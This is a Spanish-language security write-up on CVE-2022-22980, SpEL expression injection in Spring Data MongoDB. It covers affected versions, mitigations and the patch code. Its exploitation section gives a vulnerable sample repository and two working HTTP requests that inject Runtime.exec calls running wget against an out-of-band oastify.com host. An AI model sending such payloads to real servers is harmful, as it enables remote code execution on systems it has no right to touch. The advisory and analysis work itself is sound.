
[CVE-2022-22980] Inyección de expresiones SpEL en Spring Data MongoDB
[CVE-2022-22980] Inyección de Expresión SpEL en Spring Data MongoDB
MongoDB es una base de datos NoSQL orientada a documentos, con la escalabilidad y flexibilidad que se utiliza para el almacenamiento de grandes volúmenes de datos. En lugar de usar tablas y filas como en las bases de datos relacionales tradicionales, MongoDB utiliza colecciones y documentos. Los documentos consisten en pares clave-valor, que son la unidad básica de datos en MongoDB.
Spring Data for MongoDB es parte del proyecto general Spring Data, cuyo objetivo es proporcionar un modelo de programación basado en Spring, familiar y coherente, para nuevos almacenes de datos, manteniendo al mismo tiempo las características y capacidades específicas de cada almacén. El proyecto Spring Data MongoDB proporciona integración con la base de datos documental MongoDB. Las áreas funcionales clave de Spring Data MongoDB son un modelo centrado en POJO para interactuar con una DBCollection de MongoDB y escribir fácilmente una capa de acceso a datos de estilo Repository.
El 20 de junio de 2022, VMware publicó un aviso de seguridad en su sitio web oficial relacionado con la vulnerabilidad de inyección de expresiones SpEL (que conduce a la ejecución remota de código) que afecta a Spring Data MongoDB. Puede encontrar información detallada sobre la vulnerabilidad CVE-2022-22980 a continuación.
Vulnerabilidad
Una aplicación de Spring Data MongoDB es vulnerable a la inyección SpEL cuando utiliza métodos de consulta anotados con o con expresiones SpEL que contienen marcadores de posición de parámetros de consulta para el enlace de valores, si la entrada no está saneada. Alternativamente, las configuraciones que exponen métodos de consulta de repositorio sin involucrar código de aplicación adicional (como Spring Data REST) también son vulnerables.
Específicamente, una aplicación es vulnerable cuando se cumplen todas las siguientes condiciones:
@Query@Aggregation@Query o @Aggregation que hacen uso de SpEL (Spring Expression Language) y utilizan referencias a parámetros de entrada (?0, ?1, …) dentro de la expresión SpELUna aplicación no es vulnerable si se cumple cualquiera de las siguientes condiciones:
QueryMethodEvaluationContextProvider que limita el uso de SpELVersiones Afectadas
Spring Data MongoDB 3.4.0, 3.3.0 a 3.3.4, y versiones anteriores están afectadas por la vulnerabilidad CVE-2022-22980 Spring Data MongoDB SpEL Expression Injection.
Estado
Se han publicado Spring Data MongoDB 3.4.1 y 3.3.5, que contienen las correcciones.
Mitigación y Soluciones Alternativas Sugeridas
La respuesta preferida es actualizar a Spring Data MongoDB 3.4.1 y 3.3.5 o superior. Si ya lo ha hecho, no son necesarias soluciones alternativas. Sin embargo, algunos pueden encontrarse en una situación en la que actualizar sea imposible rápidamente. Por esa razón, el equipo de Spring ha proporcionado algunas soluciones alternativas a continuación.
Uso de la sintaxis de arrays: si la aplicación requiere expresiones SpEL dinámicas controladas por la entrada del usuario, entonces reescriba las declaraciones de consulta o agregación para usar referencias a parámetros ([0] en lugar de ?0) dentro de la expresiónImplementación de un método de repositorio personalizado: Reemplazar la expresión SpEL con una implementación de método de repositorio personalizado es una solución alternativa viable para ensamblar su consulta dinámica dentro del código de la aplicación. Consulte la documentación de referencia sobre personalización de repositorios para obtener más detalles.Análisis del Parche: Problema de GitHub y Commits Relacionados
El problema de GitHub para la vulnerabilidad de inyección SpEL es accesible desde github.com/spring-projects/spring-data-mongodb/issues/4089.
Con la ayuda de los dos commits siguientes, la vulnerabilidad relacionada ha sido corregida.
Con estos commits, se ha añadido la clase spring-data-mongodb/src/main/java/org/springframework/data/mongodb/util/json/EvaluationContextExpressionEvaluator.java.
class EvaluationContextExpressionEvaluator implements SpELExpressionEvaluator {
ValueProvider valueProvider;
ExpressionParser expressionParser;
Supplier<EvaluationContext> evaluationContext;
public EvaluationContextExpressionEvaluator(ValueProvider valueProvider, ExpressionParser expressionParser,
Supplier<EvaluationContext> evaluationContext) {
this.valueProvider = valueProvider;
this.expressionParser = expressionParser;
this.evaluationContext = evaluationContext;
}
@Nullable
@Override
public <T> T evaluate(String expression) {
return evaluateExpression(expression, Collections.emptyMap());
}
public EvaluationContext getEvaluationContext(String expressionString) {
return evaluationContext != null ? evaluationContext.get() : new StandardEvaluationContext();
}
public SpelExpression getParsedExpression(String expressionString) {
return (SpelExpression) (expressionParser != null ? expressionParser : new SpelExpressionParser())
.parseExpression(expressionString);
}
public <T> T evaluateExpression(String expressionString, Map<String, Object> variables) {
SpelExpression expression = getParsedExpression(expressionString);
EvaluationContext ctx = getEvaluationContext(expressionString);
variables.entrySet().forEach(entry -> ctx.setVariable(entry.getKey(), entry.getValue()));
Object result = expression.getValue(ctx, Object.class);
return (T) result;
}
}

La clase spring-projects/spring-data-mongodb/blob/main/spring-data-mongodb/src/main/java/org/springframework/data/mongodb/util/json/ParameterBindingContext.java también ha sido modificada de la siguiente manera:

La versión final (corregida) de la clase spring-projects/spring-data-mongodb/blob/main/spring-data-mongodb/src/main/java/org/springframework/data/mongodb/util/json/ParameterBindingContext.java es la siguiente:
package org.springframework.data.mongodb.util.json;
import java.util.Map;
import java.util.function.Function;
import java.util.function.Supplier;
import org.springframework.data.mapping.model.SpELExpressionEvaluator;
import org.springframework.data.spel.ExpressionDependencies;
import org.springframework.data.util.Lazy;
import org.springframework.expression.EvaluationContext;
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.lang.Nullable;
/**
* Reusable context for binding parameters to a placeholder or a SpEL expression within a JSON structure. <br />
* To be used along with {@link ParameterBindingDocumentCodec#decode(String, ParameterBindingContext)}.
*
* @author Christoph Strobl
* @author Mark Paluch
* @since 2.2
*/
public class ParameterBindingContext {
private final ValueProvider valueProvider;
private final SpELExpressionEvaluator expressionEvaluator;
/**
* @param valueProvider
* @param expressionParser
* @param evaluationContext
*/
public ParameterBindingContext(ValueProvider valueProvider, SpelExpressionParser expressionParser,
EvaluationContext evaluationContext) {
this(valueProvider, expressionParser, () -> evaluationContext);
}
/**
* @param valueProvider
* @param expressionParser
* @param evaluationContext a {@link Supplier} for {@link Lazy} context retrieval.
* @since 2.2.3
*/
public ParameterBindingContext(ValueProvider valueProvider, ExpressionParser expressionParser,
Supplier<EvaluationContext> evaluationContext) {
this(valueProvider, new EvaluationContextExpressionEvaluator(valueProvider, expressionParser, evaluationContext));
}
/**
* @param valueProvider
* @param expressionEvaluator
* @since 3.1
*/
public ParameterBindingContext(ValueProvider valueProvider, SpELExpressionEvaluator expressionEvaluator) {
this.valueProvider = valueProvider;
this.expressionEvaluator = expressionEvaluator;
}
/**
* Create a new {@link ParameterBindingContext} that is capable of expression parsing and can provide a
* {@link EvaluationContext} based on {@link ExpressionDependencies}.
*
* @param valueProvider
* @param expressionParser
* @param contextFunction
* @return
* @since 3.1
*/
public static ParameterBindingContext forExpressions(ValueProvider valueProvider, ExpressionParser expressionParser,
Function<ExpressionDependencies, EvaluationContext> contextFunction) {
return new ParameterBindingContext(valueProvider,
new EvaluationContextExpressionEvaluator(valueProvider, expressionParser, null) {
@Override
public EvaluationContext getEvaluationContext(String expressionString) {
Expression expression = getParsedExpression(expressionString);
ExpressionDependencies dependencies = ExpressionDependencies.discover(expression);
return contextFunction.apply(dependencies);
}
});
}
@Nullable
public Object bindableValueForIndex(int index) {
return valueProvider.getBindableValue(index);
}
@Nullable
public Object evaluateExpression(String expressionString) {
return expressionEvaluator.evaluate(expressionString);
}
@Nullable
public Object evaluateExpression(String expressionString, Map<String, Object> variables) {
if (expressionEvaluator instanceof EvaluationContextExpressionEvaluator) {
return ((EvaluationContextExpressionEvaluator) expressionEvaluator).evaluateExpression(expressionString,
variables);
}
return expressionEvaluator.evaluate(expressionString);
}
public ValueProvider getValueProvider() {
return valueProvider;
}
}
Y gracias a la reorganización de la clase ParameterBindingJsonReader.java, se asegura que el tipo de parámetro se conserve al vincular los parámetros utilizados dentro del valor de la anotación Query o Aggregation. Puede ver los cambios del commit en la clase ParameterBindingJsonReader.java en las capturas de pantalla siguientes:



Pasos de Explotación
Antes de explicar los pasos de explotación, se muestra la clase UserRepository.java del proyecto vulnerable de ejemplo (usando la anotación @Query) de la siguiente manera:
package com.example.mongodb.repository;
import org.springframework.data.mongodb.repository.MongoRepository;
import com.example.mongodb.model.User;
import org.springframework.data.mongodb.repository.Query;
public interface UserRepository extends MongoRepository<User, String> {
@Query("{ 'userName' : ?#{?0}}")
public User findByUserNameLike(String userName);
}
La clase de controlador de ejemplo UserController.java, que importa el espacio de nombres com.example.mongodb.repository.UserRepository, también se muestra a continuación:
package com.example.mongodb.controller;
import com.example.mongodb.model.User;
import com.example.mongodb.repository.UserRepository;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.http.MediaType;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseStatus;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.http.HttpStatus;
import java.io.UnsupportedEncodingException;
import java.net.URLDecoder;
@RestController
@RequestMapping("/v1/user")
public class UserController {
@Autowired
private UserRepository userRepository;
@ResponseStatus(HttpStatus.CREATED)
@PostMapping(consumes = MediaType.APPLICATION_JSON_VALUE)
public User createUser(@RequestBody User user) {
return userRepository.save(user);
}
@PostMapping(value="/get")
public User readUserById(@RequestParam("keyword") String id) throws UnsupportedEncodingException {
return userRepository.findByUserNameLike(URLDecoder.decode(id, "utf-8"));
}
Solicitud y Respuesta de Explotación
POST /v1/user/get HTTP/1.1
Host: vulnerablehost:9090
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 144
keyword=T(java.lang.String).forName('java.lang.Runtime').getRuntime().exec('wget+98fj4ailoo81u7rkveuwur8hf8l09p.oastify.com/CVE-2022-22980')
HTTP/1.1 500
Content-Type: application/json
Date: Wed, 22 Jun 2022 14:21:20 GMT
Connection: close
Content-Length: 112
{
"timestamp": "2022-06-22T14:21:20.604+00:00",
"status": 500,
"error": "Internal Server Error",
"path": "/v1/user/get"
}

POST /v1/user/get HTTP/1.1
Host: vulnerablehost:9090
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 116
keyword=T(java.lang.Runtime).getRuntime().exec('wget+og8ycpq0w3gg2mzz3t2b26gwnntgh5.oastify.com/CVE-2022-22980')
HTTP/1.1 500
Content-Type: application/json
Date: Wed, 22 Jun 2022 14:36:10 GMT
Connection: close
Content-Length: 112
{
"timestamp": "2022-06-22T14:36:10.827+00:00",
"status": 500,
"error": "Internal Server Error",
"path": "/v1/user/get"
}

Para obtener más información sobre la remediación de esta vulnerabilidad, visite los siguientes recursos:
Créditos: